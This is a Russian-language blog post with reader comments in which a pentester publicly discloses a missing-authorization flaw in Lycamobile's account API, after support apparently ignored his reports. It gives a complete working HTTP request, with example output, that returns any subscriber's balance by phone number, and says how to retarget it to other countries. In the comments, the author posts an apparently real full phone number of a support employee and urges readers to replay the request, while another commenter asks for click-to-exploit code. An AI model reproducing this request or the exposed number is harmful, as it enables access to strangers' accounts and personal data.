image

Доброго времени суток. Меня зовут Алексей. Я занимаюсь разработкой под .NET, pentesting и reverse engineering Android apps. В марте от одного уважаемого человека мне поступил заказ на исследование приложения Lycamobile и описание его private API. После непродолжительных манипуляций я понял логику запросов и уж было приступил к описанию, но заметил что при смене номера телефона в запросе сервер продолжает отдавать данные. Оказалось что сервер просто не проверяет авторизованы ли мы и вся авторизация в приложении не более чем формальность.

Немного цифр. Lycamobile работает в 21 стране мира, капитализация €1.6 billion. Данная уязвимость работает в uk, de, usa. Для остальных стран было лень проверять.

Команды API можно узнать там же на сервере по адресу maccount.lycamobile.co.uk/MyAccountsAPIGBR.svc (как удобно). Сам запрос выглядит так:

POST /MyAccountsAPIGBR.svc/JSON/GetAccountBalance HTTP/1.1
X-Titanium-Id: 28683211-fe39-471b-8b31-fb6babc37e0c
Content-Type: application/json
X-Requested-With: XMLHttpRequest
User-Agent: Appcelerator Titanium/3.2.1 (7 plus; Android API Level: 17; en-US;)
Host: maccount.lycamobile.co.uk
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=zl3jse3wcjlapok2jhxma42u (необязательный параметр)
Cookie2: $Version=1
Content-Length: 84

{"CountryCode":"GBR","LanguageCode":"en","BrandCode":"LYCA","MSISDN":"44742493хххх"}

А в ответ на придет что-то вроде:

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 106
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 26 May 2017 20:57:58 GMT
Proxy-Connection: Keep-alive

{"Response":{"ResponseCode":"0","ResponseDesc":"Success"},"Balance":"10.56","ValidityDate":"17\/02\/2023"}

Для того чтобы использовать уязвимость под другую страну измените переменную CountryCode и Host на данный искомой страны.

С помощью данной уязвимости можно например узнать личные данные пользователя, заказать ему услугу, узнать почти полный номер кредитки и много чего еще. Стоит отметить что личные данные можно узнать только если юзер зарегистрировался в ЛК и ввел их туда.

Я обращался в службу поддержки на fb и email, просил контакты их безопасников. Однако бестолку, мои сообщения либо игнорировали, либо отвечали стандартными фразами. Такое халатное отношение к юзерам особенно в бурже это нонсенс.

Благодарю за внимание. Надеюсь среди нашего сообщества найдутся люди которые покажут данный материал нужным людям и баг пофиксят.
Поделиться с друзьями
-->

Комментарии (23)


  1. DROS
    27.05.2017 13:49
    -8

    «Немного цифр. Lycamobile работает в 21 стране мира, капитализация €1.6 billion.
    Данная уязвимость работает в uk, de, usa.»

    Вроде пост на русском языке, да? А зачем тогда так писать? Неужели сложно написать, что капитализация 1.6 млрд евро? И страны указать нормальным языком?

    Есть у меня на работе один персонаж, очень он любит во время разговора вставлять слово на английском языке, хотя у 99% употребляемых им слов, есть полные аналоги в русско речи, но нет же… Так вот — раздражает неимоверно.


    1. Spellman
      27.05.2017 14:40
      -1

      Я даже не заметил. Поменьше бы таких комментариев и больше подобных постов.


    1. pr3dat0r
      27.05.2017 15:04
      +2

      Капитализация копипаст из википедии. А uk это код страны понятный всем.


    1. nosazus
      27.05.2017 16:24
      -13

      Рузкий истеричка, да?


    1. PapaBubaDiop
      27.05.2017 17:33
      +5

      -Почему он так часто переключается с русского языка на английский и наоборот?
      -Потому что не знает ни того, ни другого…

      (с) сд


    1. Fragster
      30.05.2017 11:06

      Есть у меня на работе один персонаж, очень он любит во время разговора вставлять слово на английском языке, хотя у 99% употребляемых им слов, есть полные аналоги в русско речи, но нет же… Так вот — раздражает неимоверно.

      Когда во всех сми идут таргеты вместо целей и генерации вместо поколений — неудивительно.


  1. ru_vlad
    27.05.2017 14:13
    +3

    Есть у меня на работе один персонаж, очень он любит во время разговора вставлять слово на английском языке, хотя у 99% употребляемых им слов, есть полные аналоги в русско речи, но нет же… Так вот — раздражает неимоверно.

    Часом не профессор Выбегалло? ;) хотя не прав тот любил французский диалект :)


    1. eXtReeM
      27.05.2017 14:44
      +1

      «Мда, это селёдка.»


  1. monolithed
    27.05.2017 17:23
    -12

    Доброго времени суток. Меня зовут Алексей. Я занимаюсь разработкой под .NET, pentesting и reverse engineering Android apps.
    В марте от одного уважаемого человека мне поступил заказ на исследование приложения play.google.com/store/apps/details?id=com.lycamobile.myaccounts и описание его private API.

    Поздравляю, на этом ваша карьера закончилась.


    1. nikitasius
      27.05.2017 19:25
      +6

      Поздравляю, на этом ваша карьера закончилась.

      С чего бы это? Наоборот к нему снова обратятся. А что до вываливания в общий доступ — правильно сделал, раз саппорт и безопасники игнорят. В мире много непуганных идиотов, вот этим вот постом их станет как бы поменьше, ровно на один отдел в компании.


  1. VORS111
    27.05.2017 18:08

    Последний раз приложение обновляли в 2014 году. Разработчики про него уже забыли, наверное.


    1. Lailore
      27.05.2017 18:15
      +3

      А дыра и не в приложении


    1. pr3dat0r
      27.05.2017 18:24
      +6

      Вы удивитесь сколько много таких «забытых» api даже в действующих приложениях, которые просто при смене версий перешли на другое api, но при этом не выключили старое дырявое. Например у freetone в API 1.+ можно было с 1го аккаунта по 30 смс слать без остановки, без фильтров и т.д. Правда прикрыли за сутки, ребята молодцы, хоть и забыли про старое API.


  1. nikitasius
    27.05.2017 19:27
    -8

    Побольше бы в статье кода на тему добавления услуг и майнинга данных, было бы чем занятся завтра.


    1. pr3dat0r
      27.05.2017 19:32
      +1

      пройдите по ссылке описания api и просто вместо GetAccountBalance вставьте другую переменную. Я специально явно не указал запросы на получение личных данных или кредитной карты.


      1. nikitasius
        27.05.2017 19:54
        -8

        Какой смысл? Если вываливать, то по полной, чтобы кликом из браузера можно было получить результат.


        1. Gaikotsu
          28.05.2017 02:07
          +2

          Ну дак и тема адресована не мамкиным кулхацкерам — к чему им давать готовый способ «поразвлечься».


        1. Begunini
          28.05.2017 07:59

          Задача не напрямую нагадить заказчику — они деньги платили, после такого можно спокойно с репутацией попрощаться. Человек дал «затравку», чтобы лишь кому не лень смогли хоть что-то получить и лишь вложив в это долю времени и труда. Скорее больше для огласки пост. А вам прямо дай ключи от квартиры и код сейфа. Какие нынче пошли мошенники ленивые )


  1. BloodForce
    28.05.2017 07:59

    Не удивлюсь, если через их апи можно себе деньги на счёт добавить.


    1. pr3dat0r
      28.05.2017 08:01
      -2

      Да. Можно пополнить свой счет точно по номеру карты пополнения и вроде как еще по кредитке.


  1. MnogoBukv
    28.05.2017 07:59

    Вот корыто, у меня каждый день со счёта уходит 1 цент. В личном кабинете никаких намёков на это нет. Пишу им в саппорт. Приходит отписка в стиле «проверьте, не включен ли gprs» в одном письме, во втором ещё какая-то ахинея, после намёка на их некомпетентность — просто меня игнорят. Гореть им в аду, вместе с их дырявым api.


  1. r85qPZ1d3y
    28.05.2017 18:08

    X-Titanium-Id будьте добры уточните что это, и как его получить?
    Воспроизвожу ваш код, получаю «Method not allowed.» Не пофиксили надеюсь?
    Сейчас разберусь как это работает, и обязательно помогу разработчикам объяснить всю глубину опасности данной уязвимости.


    1. pr3dat0r
      28.05.2017 19:25

      X-Titanium-Id это обычный uid. Проще говоря генерируется рандомно. Все работает, проверьте на примере баланса. Вот номер парня из тех поддержки на ком я тестил 447424930358. Просто повторите запрос 1 в 1, можете ничего не изменять, куки можно опустить. Единственное введите полный номер, учтите что в Англии и вообще на западе принято выдавать номера по месту жительства, т.е. все операторы будут вперемешку.